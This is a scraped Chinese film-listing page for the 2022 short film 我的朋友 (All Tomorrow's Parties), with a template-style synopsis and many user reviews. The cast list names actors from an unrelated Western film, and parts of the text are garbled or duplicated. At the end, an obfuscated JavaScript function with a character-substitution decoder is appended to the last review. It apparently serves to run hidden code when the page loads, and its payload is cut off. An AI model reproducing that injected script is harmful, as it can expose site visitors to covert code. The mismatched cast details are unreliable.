我的朋友_All Tomorrow's Parties
别名
:All Tomorrow's Parties简介:
我的朋友是一部超级优秀的
短片 剧情片 ,上线于
2022 年, 《我的朋友》邀请FIRST FRAME年度推荐人周迅、王一博共同演绎,由青年导演张大磊执导,描摹...
详情道恩·强森,弗洛伦丝·皮尤,杰克·劳登,琳娜·海蒂,文斯·沃恩,斯戴芬·莫昌特,尼克·弗罗斯特,金伯利·马图拉,希莫斯,萨拉亚-杰德·贝维斯,阿奎拉·佐尔,艾丽·简,保罗·怀特,克洛伊·森格瑞,海伦娜·福尔摩斯,露丝·霍洛克斯,杰奎琳·拉姆娜莱恩
AliceFoulcher伊莎贝尔·卢卡斯RichardDavies
豆瓣评分
9.0。类型为短片,剧情片的。该片在
大陆 地区拍摄完成,独有的
国语 语言版本。
我的朋友是一部超级优秀的
短片 剧情片 ,该剧情片的关键看点是:
我的朋友All Tomorrow's Parties;
《我的朋友》邀请FIRST FRAME年度推荐人周迅、王一博共同演绎,由青年导演张大磊执导,描摹寻常处的体面之美,捕捉人情的隽永时刻,复现电影所带来的的生活向往。《我的朋友》亦如穿越时空的影票,诚邀观众走进FIRST FRAME的影像世界,以电影传统传承启发,鼓励青年影人的创造精神,以经典重现过去,以时光雕刻未来
当耳畔响起女主角小周温柔平实的喃喃絮语,我们与当下暂别,一起回到90年代的日常。小周以检票员的身份打开观众前往影像世界的入口,电影院如同永驻的庇护所,银幕悄然召唤人群,人与人因电影而久别重逢,相互安慰,荡漾情谊的波澜。《我的朋友》因复归影院精神而熠熠生辉,银幕之光照应万「帧」流转,而独一无二的电影样本与人情聚离,蕴藉隽永。交错光影映照出小周与一博的面容,成为朋友的契机悄然而至,而电影亦是每一个人的朋友。
其中
张大磊周迅,王一博,张晨,王惠琳还参演了
(赊刀人)(保持沉默)(明月几时有)(十七岁的单车)(如果·爱)等让人无法忘怀精彩的影视作品!
评论
我的朋友|剧情热评
蜂鸟用户: 李慕白
emmmm 蜂鸟用户: 微信用户
张大磊的场面调度进化很快,对于空间和人物关系的掌控已经完全融入影像参数的变化中了,但是一如既往的,怀旧的想象禁锢着意义的空间。 蜂鸟用户: 安托万的造梦机
“在麦地中被灼伤,在电影中被疗愈” 带着远方回归 我的朋友 怎么说呢,看完以后的感受就是强烈的意犹未尽 蜂鸟用户: tutu_
其实很喜欢《八月》的…这部的长镜头、光影、九十年代质感都很好,但是剧本真的弱到没有,微弱的弱… 这种“流”电影就算不讲故事,也需要某一两个点让人可以突然沉下去出不来,这部没做到。小周的庸常铺垫过多,且小周对李默并不曾打开,所以那个“看吧”有点突兀。李默的打开是有迹可循的,这个人物立住了,且一博很好。在这么小的体量里工具人人物好浪费,晨哥就是。只有两次用到特写,但小周的特写好像是无效的。但质感是很好的,我曾以为《繁花》也可以拍成这种质感,我错了… 蜂鸟用户: 姓曾的拉扎罗
想要像海子追逐自由,可是李默去了嘉峪关去了青海湖最终还是回到了出生的电影长,剪了头发成为了一名普通工人,追梦失败;工厂女工小周心怀浪漫可以不买牛仔裤为亚运会捐10元巨款;他们可以互相理解对方心里的浪漫与失落吧,成为了可以共鸣的朋友。 蜂鸟用户: 之晨
《下次相会在广岛》真好听啊…… 蜂鸟用户: mpor2
张大磊图穷匕见。查资料发现他和徐磊同为82年生人,一个早先在b站致敬《工厂大门》,另一个在特吕弗面前班门弄斧……玩砸了不说,关键问题看《四百击》结尾时候聊天,你管这叫致敬? 蜂鸟用户: momoko
这种长镜头和调度是难得的,是真实的,是流淌在血液里的,九十年代、理想主义、特吕弗,大磊导演的短片永远有自己的气质,和三大电影节上精巧的命题作文有非常强烈的区别,高下立判。 蜂鸟用户: acidpinkAnt
因为要致敬法国新浪潮,所以最后大家得一起看《四百击》,哈哈真幽默。 蜂鸟用户: 芷宁
一首短小的散文诗 蜂鸟用户: Wenwen
嘉峪关,你去过吗? 一些意犹未尽 蜂鸟用户: 晚不安
八月桂花香,一招吃遍天。年少特磊弗,老来徒楚弗。 蜂鸟用户: DeckardYang
除了结尾,一切都很好。让人再次感叹,喜欢上电影,真好。以及特别好奇,周迅看着电视里演唱“我们亚洲有多么亲密相近”,她是否和我一样会跳出电影暗自感慨? 蜂鸟用户: Julizoo
中国青年导演三大遮羞布:长镜头、旧时代、元电影,黔驴技穷的张大磊干脆来了一套组合拳。戏骨和流量在干瘪的场面调度中被碾平,成为中远景里两张单薄的画片。《八月》是一个美丽的意外,《蓝色列车》头也不回地往前开,下午过去了一半,电影终于快要放完。 蜂鸟用户: 无为啊
喜欢张大磊导演的《八月》和《下午过去了一半》,这次他执导的短片《我的朋友》,依然有着朴素平实的风格,令观众仿佛触摸到了旧时光。 短片的质感很舒服: 北京亚运会刚结束的余温下,一位流浪的追寻“诗和远方”的文艺青年回家乡了; 秋天午后的自行车棚,阳光洒落,明暗交错,晨哥读着诗人李默的《蓝火车》; 局促不安的文青和心境正处于特殊时期的小周有些相投 ,他剪掉了长发,回归了现实,确认了“我的朋友”…… 影片所营造的时代气息扑面而来,回忆猝不及防地砸向近半百的我,那时候总觉得天光云影的移动是慢悠悠的,情感表露也是含蓄内敛的,一些影影绰绰、似有似无的感觉就那样悠然地飘荡着,当时我们以为会很久远…… (另,感谢导演又让我想重温《四百击》) 蜂鸟用户: 皮格马利翁
一场清澈的意淫 蜂鸟用户: 蛋糕不想说
中国青年导演三大遮羞布:长镜头、旧时代、元电影,黔驴技穷的张大磊干脆来了一套组合拳。戏骨和流量在干瘪的场面调度中被碾平,成为中远景里两张单薄的画片。《八月》是一个美丽的意外,《蓝色列车》头也不回地往前开,下午过去了一半,电影终于快要放完。 蜂鸟用户: 羊香鱼有有
从置景,到音效,再到缓缓流动的长镜头,一切主打的就是一个氛围感。要营造充足的“情绪的flow”(映后制片人语),表演便不可以太满。基于迅哥的表演经验及角色的重要性,从她的删繁就简中,观众依然愿意主动去寻找些什么;王一博的适配则主要源于服化道包装的气质,演技近于无——这也可以说是导演的一种善用。时代感做足了,观感却不尽如意,问题还是出在叙事上。即使映后大谈“超越叙事”,但仅以此片而言,周迅角色的“实”与王一博角色的“虚”,二者从物理空间到某种情感的相系是需要叙事上的凭据的。现在的留白,留下的不是无尽的余韵,更多是逻辑断线的突兀。 蜂鸟用户: 坚决咸豆脑
只有北方人才会拍出这种场景吧,看了五分钟忍不住去搜导演资料果然是,外加去俄读电影,拍九十年代北方工业厂房感觉像是完全”专业对口”。本来想说还好吧一部中规中矩的短片,可是最后出现了《四百击》哎,某种情绪一下就上来了🥹 蜂鸟用户: 大奇特(Grinch)
张大磊和First如果真的想致敬特吕弗,是不是至少应该少一些精美的人工布景、多一些大繁若简的诚意呢?要我说最后电影院就不该放《四百击》,放个《乱世佳人》之类的多契合啊。 看完最大的感受是跟没》时间:一样,如此薄弱的文本不知道有什么意义。不过倒是符合本片的定位:资本为了包装流量明星割韭菜选中了电影节,电影节像模像样地整一个上能糊弄金主爸爸、下能忽悠饭圈粉丝的东西,这样两头讨好,唯一受伤的只有真正的影迷(浪费了时间),然而他们知道影迷死心塌地用爱发电,所以只需要讨好资本和韭菜,好家伙,良性循环。 所以我的评价是不如毕赣的猫粮广告:人家那个至少是好好琢磨的剧本和一贯的老塔式镜语,绝对对得起那份投资。!function(){function a(a){var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var 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